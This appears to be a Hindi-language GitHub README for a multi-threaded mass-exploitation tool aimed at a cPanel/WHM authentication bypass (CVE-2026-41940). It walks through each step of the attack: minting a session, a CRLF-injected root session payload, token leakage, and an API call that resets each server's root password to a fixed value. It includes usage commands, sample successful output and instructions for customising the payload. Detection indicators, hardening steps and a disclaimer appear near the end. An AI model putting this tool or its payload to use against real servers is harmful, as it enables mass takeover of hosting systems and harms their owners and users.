
cPanel/WHM पर CVE-2026-41940 के लिए बल्क स्कैनर और सामूहिक शोषण उपकरण, स्वचालित लक्ष्य सत्यापन और उच्च-गति मल्टी-थ्रेडेड निष्पादन के लिए निर्मित।
CVE-2026-41940 WHM/cPanel में एक गंभीर प्रमाणीकरण बायपास भेद्यता है जो हमलावरों को वैध क्रेडेंशियल के बिना प्रमाणीकरण को बायपास करने और सर्वर पर रूट एक्सेस प्राप्त करने की अनुमति देती है। यह भेद्यता सत्र प्रबंधन तंत्र में CRLF इंजेक्शन का लाभ उठाकर दुर्भावनापूर्ण सत्र पैरामीटर इंजेक्ट करती है।
यह टूल एक साथ कई लक्ष्यों के परीक्षण के लिए मल्टी-थ्रेडिंग समर्थन के साथ मास एक्सप्लॉइटेशन क्षमताएँ प्रदान करता है, जिसमें बुद्धिमान सफलता पहचान और अमान्य लक्ष्यों की स्वचालित फ़िल्टरिंग शामिल है।
| विशेषता | विवरण |
|---|---|
| ✅ मास एक्सप्लॉइटेशन | सूची फ़ाइल से कई लक्ष्यों को स्कैन और एक्सप्लॉइट करें |
| 🚀 मल्टी-थ्रेडिंग | तेज़ स्कैनिंग के लिए कॉन्फ़िगर करने योग्य थ्रेड संख्या (डिफ़ॉल्ट: 15) |
| 🔐 स्वचालित पासवर्ड परिवर्तन | सफल एक्सप्लॉइट पर रूट पासवर्ड को Jenderal92 में बदलता है |
| 🛡️ स्मार्ट सफलता पहचान | विभिन्न WHM API प्रतिक्रिया प्रारूपों का स्वचालित रूप से पता लगाता है |
| ⚠️ लाइसेंस त्रुटि फ़िल्टरिंग | अमान्य/लाइसेंस नहीं पढ़ सकता त्रुटियों वाले लक्ष्यों को बाहर करता है |
| 📝 संरचित आउटपुट | केवल पुष्टि किए गए सफल परिणामों को `domain:port |
| 🛡️ SSL/TLS समर्थन | स्व-हस्ताक्षरित प्रमाणपत्रों को स्वचालित रूप से संभालता है |
| 🔄 सत्र प्रबंधन | स्वचालित सत्र निष्कर्षण, कुकी इंजेक्शन और टोकन हैंडलिंग |
| ⏱️ टाइमआउट नियंत्रण | कॉन्फ़िगर करने योग्य कनेक्शन टाइमआउट (डिफ़ॉल्ट: 15 सेकंड) |
| 🔍 पूर्व-कनेक्शन जाँच | एक्सप्लॉइटेशन प्रयास से पहले पोर्ट उपलब्धता सत्यापित करता है |
| 📊 रीयल-टाइम प्रगति | प्रत्येक एक्सप्लॉइटेशन चरण के लिए विस्तृत प्रगति दिखाता है |
pip install requests urllib3 futures
या requirements.txt का उपयोग करें:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
targets.txt फ़ाइल बनाएँ जिसमें प्रत्येक पंक्ति में एक लक्ष्य हो:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
नोट: पोर्ट
2087डिफ़ॉल्ट WHM पोर्ट है। यदि निर्दिष्ट नहीं है, तो यह स्वचालित रूप से पोर्ट 2087 का उपयोग करेगा। यदि HTTP/HTTPS उपसर्ग गायब है तो इसे स्वचालित रूप से जोड़ा जाएगा।
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)केवल पुष्टि किए गए सफल एक्सप्लॉइट सहेजे जाते हैं। लाइसेंस त्रुटियों, असफल पासवर्ड परिवर्तन या कनेक्शन समस्याओं वाले लक्ष्य स्वचालित रूप से बाहर कर दिए जाते हैं।
प्रारूप:
domain:port|root|Jenderal92
उदाहरण आउटपुट:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
निम्नलिखित लक्ष्य res.txt में नहीं सहेजे जाएँगे:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
एक्सप्लॉइट में बुद्धिमान सत्यापन के साथ 4 मुख्य चरण शामिल हैं:
[1] minting a preauth session...
/login/?login_only=1 पर POST अनुरोध भेजता हैwhostmgrsession कुकी प्राप्त करता है,<obhex> भाग को हटाकर सत्र आधार निकालता है[2] sending the CRLF injection...
Authorization: Basic हेडर के साथ GET अनुरोध भेजता हैroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) वर्ण नकली सत्र पैरामीटर इंजेक्ट करते हैंcp_security_token युक्त Location हेडर के साथ प्रतिक्रिया करता है[3] firing do_token_denied to propagate...
/scripts2/listaccts एंडपॉइंट तक पहुंचता हैdo_token_denied तंत्र को ट्रिगर करता है[4] verifying we're WHM root...
/json-api/version तक पहुंचता हैJenderal92 में बदलने के लिए /json-api/passwd API को कॉल करता है{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (पुराने संस्करण){"result": [{"status": 1}]} (विरासत प्रारूप)टूल स्वचालित रूप से बाहर करता है:
{"status": 0, "statusmsg": "Cannot Read License File"}# WHM access log
/usr/local/cpanel/logs/access_log
# cPanel error log
/usr/local/cpanel/logs/error_log
# Authentication log
/var/log/secure
# System messages
/var/log/messages
WHM/cPanel को तुरंत नवीनतम पैच किए गए संस्करण में अपडेट करें
/usr/local/cpanel/scripts/upcp
सभी खातों के लिए टू-फैक्टर प्रमाणीकरण (2FA) सक्षम करें, विशेष रूप से रूट के लिए
WHM → Security Center → Two-Factor Authentication
IP व्हाइटलिस्टिंग के साथ WHM एक्सेस प्रतिबंधित करें
WHM → Security Center → Host Access Control
संदिग्ध पैटर्न के लिए नियमित रूप से एक्सेस लॉग की निगरानी करें
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
समझौते का संदेह होने पर सभी पासवर्ड बदलें
पोर्ट 2087 तक पहुंच को प्रतिबंधित करने के लिए फ़ायरवॉल नियमों का उपयोग करें
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP
CRLF इंजेक्शन प्रयासों का पता लगाने के लिए WAF नियम लागू करें
WHM/cPanel इंस्टॉलेशन की नियमित सुरक्षा ऑडिट
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15
समस्या: Python 2.7 के बजाय Python 3 का उपयोग कर रहे हैं
समाधान: इस टूल के लिए विशेष रूप से Python 2.7 की आवश्यकता है।
# Check Python version
python2 --version # Must show Python 2.7.x
# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt
समस्या: लक्ष्य ऑफ़लाइन है या फ़ायरवॉल ब्लॉक कर रहा है
समाधान:
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
समस्या: लक्ष्य पैच किया जा सकता है या WHM नहीं चला रहा है
समाधान:
https://target:2087 पर पहुंच योग्य है या नहींसमाधान: थ्रेड संख्या और टाइमआउट समायोजित करें
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
नोट: Cannot Read License File दिखाने वाले लक्ष्य स्वचालित रूप से res.txt से बाहर कर दिए जाते हैं। यह अपेक्षित व्यवहार है क्योंकि बिना लाइसेंस वाले WHM इंस्टॉलेशन पर पासवर्ड परिवर्तन काम नहीं करेंगे।
आप कस्टम सत्र पैरामीटर के लिए PAYLOAD_B64 संशोधित कर सकते हैं:
import base64
# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
do_passwd() फ़ंक्शन (लाइन ~280) में पासवर्ड बदलें:
{"user": "root", "password": "YourCustomPassword123"}
कस्टम WHM प्रतिक्रिया प्रारूपों का पता लगाने के लिए do_passwd() फ़ंक्शन को संशोधित किया जा सकता है:
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
योगदान का स्वागत है! कृपया इन चरणों का पालन करें:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)यदि यह टूल आपके सुरक्षा अनुसंधान के लिए उपयोगी है, तो कृपया इसे GitHub पर एक ⭐ दें!
प्रश्न: क्या इस टूल का पता लगाया जा सकता है?
उत्तर: हाँ, यह टूल WHM/cPanel एक्सेस लॉग में निशान छोड़ता है। केवल उचित प्राधिकरण के साथ और वैध सुरक्षा परीक्षण के लिए उपयोग करें।
प्रश्न: एक्सप्लॉइटेशन में कितना समय लगता है?
उत्तर: नेटवर्क विलंबता और सर्वर प्रतिक्रिया समय के आधार पर प्रति लक्ष्य लगभग 5-15 सेकंड।
प्रश्न: क्या इसके लिए पूर्व रूट एक्सेस की आवश्यकता होती है?
उत्तर: नहीं, यह एक्सप्लॉइट बिना किसी प्रमाणीकरण के पूरी तरह से बाहरी रूप से काम करता है।
प्रश्न: क्या यह टूल Windows पर काम करता है?
उत्तर: हाँ, जब तक Python 2.7 ठीक से स्थापित और कॉन्फ़िगर किया गया है।
प्रश्न: मेरा लक्ष्य एक अलग पोर्ट का उपयोग करता है, मुझे क्या करना चाहिए?
उत्तर: लक्ष्य URL में पोर्ट निर्दिष्ट करें: cPanel के लिए https://target.com:2083 या कोई कस्टम पोर्ट।
प्रश्न: कुछ लक्ष्य res.txt में क्यों नहीं सहेजे जाते, भले ही एक्सप्लॉइट काम कर गया हो?
उत्तर: टूल केवल उन लक्ष्यों को सहेजता है जहां पासवर्ड सफलतापूर्वक बदला गया था। लाइसेंस त्रुटियों, असफल पासवर्ड परिवर्तन या अन्य समस्याओं वाले लक्ष्य बाहर कर दिए जाते हैं, भले ही प्रमाणीकरण बायपास सफल रहा हो।
प्रश्न: कौन से WHM/cPanel संस्करण कमजोर हैं?
उत्तर: CVE-2026-41940 पैच से पहले के संस्करण। पैच किए गए संस्करण के लिए cPanel का चेंजलॉग देखें।
Jenderal92 में बदलता है2087 है (निर्दिष्ट नहीं होने पर स्वचालित रूप से उपयोग किया जाता है)res.txt में सहेजे जाते हैंres.txt फ़ाइल बनाता है (पुराने परिणाम हटा दिए जाते हैं)
शैक्षिक सुरक्षा अनुसंधान उद्देश्यों के लिए बनाया गया
जिम्मेदारी से उपयोग करें, कानूनी रहें, नैतिक रहें
⚠️ गंभीर चेतावनी!
यह टूल विशेष रूप से निम्नलिखित के लिए बनाया गया था:
- ✅ शैक्षिक उद्देश्य और सुरक्षा अनुसंधान
- ✅ अधिकृत पेनेट्रेशन परीक्षण
- ✅ उन प्रणालियों पर सुरक्षा मूल्यांकन जिनके आप स्वामी हैं
- ✅ लिखित अनुमति के साथ भेद्यता सत्यापन
सख्त रूप से निषिद्ध उपयोग:
- ❌ स्पष्ट प्राधिकरण के बिना प्रणालियों तक पहुंचना
- ❌ किसी भी प्रकार की अवैध गतिविधियाँ
- ❌ दुर्भावनापूर्ण कार्य या प्रणालियों को नुकसान पहुंचाना
- ❌ किसी भी कंप्यूटर प्रणाली तक अनधिकृत पहुंच
- ❌ किसी भी स्थानीय, राज्य या संघीय कानून का उल्लंघन
लेखक इस टूल के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या परिणामों के लिए कोई जिम्मेदारी या दायित्व नहीं लेते हैं। इस टूल का उपयोग करके, आप सहमत हैं कि आप इसका उपयोग केवल उन प्रणालियों पर करेंगे जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
यदि आप आगे बढ़ते हैं, तो आप स्वीकार करते हैं कि:
- आपके पास लक्ष्य प्रणालियों के परीक्षण का प्राधिकरण है
- आप अनधिकृत पहुंच के कानूनी निहितार्थों को समझते हैं
- आप सभी लागू कानूनों और विनियमों का पालन करेंगे
- लेखक आपके कार्यों के लिए जिम्मेदार नहीं हैं
अधिक अस्वीकरण के लिए आप Jenderal92 के कवर पर अस्वीकरण देख सकते हैं। आप इसे यहाँ !!! देख सकते हैं
| तर्क | विवरण | डिफ़ॉल्ट | आवश्यक |
|---|
list_file | लक्ष्य सूची वाली फ़ाइल (प्रति पंक्ति एक) | - | ✅ हाँ |
--threads | समवर्ती थ्रेड की संख्या | 15 | ❌ नहीं |
--hostname | सभी लक्ष्यों के लिए Host हेडर ओवरराइड करें | स्वतः पता लगाना | ❌ नहीं |
--timeout | सेकंड में कनेक्शन टाइमआउट | 15 | ❌ नहीं |
| संकेतक | विवरण |
|---|
असामान्य whostmgrsession कुकी | उचित प्रमाणीकरण के बिना असामान्य कुकी पैटर्न |
| हेडर में CRLF वर्ण | HTTP हेडर में \r\n अनुक्रमों का पता लगाना |
/scripts2/listaccts एक्सेस | इस पथ तक अनधिकृत पहुंच |
पासवर्ड Jenderal92 | इस विशिष्ट पासवर्ड का उपयोग करके सफल लॉगिन |
cpsess टोकन रिसाव | Location हेडर में दिखाई देने वाला सुरक्षा टोकन |
| विफल लॉगिन के बाद सफलता | गलत पासवर्ड के साथ /login/?login_only=1 पर POST, फिर विशेषाधिकार प्राप्त पहुंच |